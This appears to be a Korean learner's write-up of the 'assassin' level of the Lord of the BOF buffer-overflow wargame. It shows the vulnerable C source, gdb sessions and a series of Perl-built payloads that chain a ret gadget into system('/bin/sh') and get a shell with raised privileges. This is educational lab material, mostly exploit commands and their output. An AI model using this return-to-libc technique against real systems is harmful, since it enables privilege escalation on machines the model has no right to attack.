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오오.. 이번엔 뻥뚫리게 속시원하게 풀렸네여..

strace못쓰겟슴다.. 우선 사용방법부터 공부해야겠어여 써봤는데 해독을 못하게씀.. 무엇이 무엇인고

[giant@localhost giant]$ ls

assassas  assassin  assassin.c  core

[giant@localhost giant]$ cat assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - assassin

        - no stack, no RTL

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }                                                                    


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer+sfp hunter

        memset(buffer, 0, 44);

}

/*소스를 보게되면 retbayed you라 하는데 이게 힌트같아보입니다. 잘 분석해보면 ret만 남습니다. ret는 변조할 수 있는것이죠! 근데 library에 들어있는 함수도 못쓰고 스택에 있는것도 못씁니다.. (막막)*/


[giant@localhost giant]$gdb -q

(gdb) p 0xbfffffff-0xbeffffff

$1 = 16777216

(gdb) zz

Undefined command: "zz".  Try "help". 

(gdb) q

[giant@localhost giant]$ ./assassas `perl -e 'print "A"x16777216'` 

bash: ./assassas: Argument list too long // 꼼수시도해보려다가 망함ㅋ될리가 없죠..

[giant@localhost giant]$ [a]x44, [ret func]4bytes, [ret]<-system, [dummy], [/bin/sh]

bash: -system,: No such file or directory

[giant@localhost giant]$ bash2

[giant@localhost giant]$ gdb -q assassas

(gdb) b main

Breakpoint 1 at 0x8048476

(gdb) r

Starting program: /home/giant/assassas


Breakpoint 1, 0x8048476 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) q

The program is running.  Exit anyway? (y or n) y

[giant@localhost giant]$ export BINSH=/bin/sh

[giant@localhost giant]$ vi whereis.c

[giant@localhost giant]$ gcc whereis.c -o getenv

whereis.c: In function `main':

whereis.c:5: warning: assignment makes pointer from integer without a cast

[giant@localhost giant]$ ./getenv BINSH

env is at: 0xbffffc88


[giant@localhost giant]$ ./assassas `perl -e 'print "A"x44, "\xff\xff\xff\xff", "\xe0\x8a\x05\x40", "B"x4, "\x88\xfc\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    @BBBBˆü ¿

Segmentation fault (core dumped)

[giant@localhost giant]$ gdb -q assassas core

Core was generated by `./assassas AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    @BBBBˆü ¿'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xffffffff in ?? ()

(gdb) disas main

Dump of assembler code for function main:

0x8048470 <main>:       push   %ebp

0x8048471 <main+1>:     mov    %esp,%ebp

0x8048473 <main+3>:     sub    $0x28,%esp

0x8048476 <main+6>:     cmpl   $0x1,0x8(%ebp)

0x804847a <main+10>:    jg     0x8048493 <main+35>

0x804847c <main+12>:    push   $0x8048570

0x8048481 <main+17>:    call   0x8048378 <printf>

0x8048486 <main+22>:    add    $0x4,%esp

0x8048489 <main+25>:    push   $0x0

0x804848b <main+27>:    call   0x8048388 <exit>

0x8048490 <main+32>:    add    $0x4,%esp

0x8048493 <main+35>:    mov    0xc(%ebp),%eax

0x8048496 <main+38>:    add    $0x4,%eax

0x8048499 <main+41>:    mov    (%eax),%edx

0x804849b <main+43>:    add    $0x2f,%edx

0x804849e <main+46>:    cmpb   $0xbf,(%edx)

0x80484a1 <main+49>:    jne    0x80484c0 <main+80>

0x80484a3 <main+51>:    push   $0x804857c

0x80484a8 <main+56>:    call   0x8048378 <printf>

0x80484ad <main+61>:    add    $0x4,%esp

0x80484b0 <main+64>:    push   $0x0

0x80484b2 <main+66>:    call   0x8048388 <exit>

0x80484b7 <main+71>:    add    $0x4,%esp

0x80484ba <main+74>:    lea    0x0(%esi),%esi

0x80484c0 <main+80>:    mov    0xc(%ebp),%eax

0x80484c3 <main+83>:    add    $0x4,%eax

0x80484c6 <main+86>:    mov    (%eax),%edx

0x80484c8 <main+88>:    add    $0x2f,%edx

---Type <return> to continue, or q <return> to quit---

0x80484cb <main+91>:    cmpb   $0x40,(%edx)

0x80484ce <main+94>:    jne    0x80484e7 <main+119>

0x80484d0 <main+96>:    push   $0x8048591

0x80484d5 <main+101>:   call   0x8048378 <printf>

0x80484da <main+106>:   add    $0x4,%esp

0x80484dd <main+109>:   push   $0x0

0x80484df <main+111>:   call   0x8048388 <exit>

0x80484e4 <main+116>:   add    $0x4,%esp

0x80484e7 <main+119>:   mov    0xc(%ebp),%eax

0x80484ea <main+122>:   add    $0x4,%eax

0x80484ed <main+125>:   mov    (%eax),%edx

0x80484ef <main+127>:   push   %edx

0x80484f0 <main+128>:   lea    0xffffffd8(%ebp),%eax

0x80484f3 <main+131>:   push   %eax

0x80484f4 <main+132>:   call   0x80483a8 <strcpy>

0x80484f9 <main+137>:   add    $0x8,%esp

0x80484fc <main+140>:   lea    0xffffffd8(%ebp),%eax

0x80484ff <main+143>:   push   %eax

0x8048500 <main+144>:   push   $0x80485ae

0x8048505 <main+149>:   call   0x8048378 <printf>

0x804850a <main+154>:   add    $0x8,%esp

0x804850d <main+157>:   push   $0x2c

0x804850f <main+159>:   push   $0x0

0x8048511 <main+161>:   lea    0xffffffd8(%ebp),%eax

0x8048514 <main+164>:   push   %eax

0x8048515 <main+165>:   call   0x8048398 <memset>

0x804851a <main+170>:   add    $0xc,%esp

0x804851d <main+173>:   leave

0x804851e <main+174>:   ret

---Type <return> to continue, or q <return> to quit---q

(gdb) q

[giant@localhost giant]$ ./assassas `perl -e 'print "A"x44, "\x1e\x85\x04\x08", "\xe0\x8a\x05\x40", "B"x4, "\x88\xfc\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@BBBBˆü ¿

sh: /sh: No such file or directory

Segmentation fault (core dumped)

[giant@localhost giant]$ ./assassas `perl -e 'print "A"x44, "\x1e\x85\x04\x08", "\xe0\x8a\x05\x40", "B"x4, "\x84\xfc\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@BBBB„ü ¿

bash$ exit

exit

Segmentation fault (core dumped)

[giant@localhost giant]$ ./assassin `perl -e 'print "A"x44, "\x1e\x85\x04\x08", "\xe0\x8a\x05\x40", "B"x4, "\x84\xfc\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@BBBB„ü ¿

bash$ my-pass

euid = 515


지난번에 했던걸 응용(?)했다해야하나.. 전단계에 execve를 썼던건 실패해도 ret로 돌아가 다음 명령을 실행할 수 있어서 였는데 라이브러리 함수를 못쓰게 되니까 (당황->고민->멍때리는 시간을 거쳤..)생각해보니 팝콘형님이 비슷한 얘기를 해주신 적 있습니다. ret에 ret주소를 넣게되면 (ret= pop eip) eip가 pop되기도 하지만, pop라는 뜻은 esp도 4바이트 늘어난다는 뜻이기 때문에 다음 명령을 가르키고 있게 됩니다. 그 자리에 system함수의 주소를 넣고 4바이트 더미를 또 넣은 후 /bin/sh의 주소를 넣게되면 전 단계의 rtl과 같이 동작하게 됩니다. 

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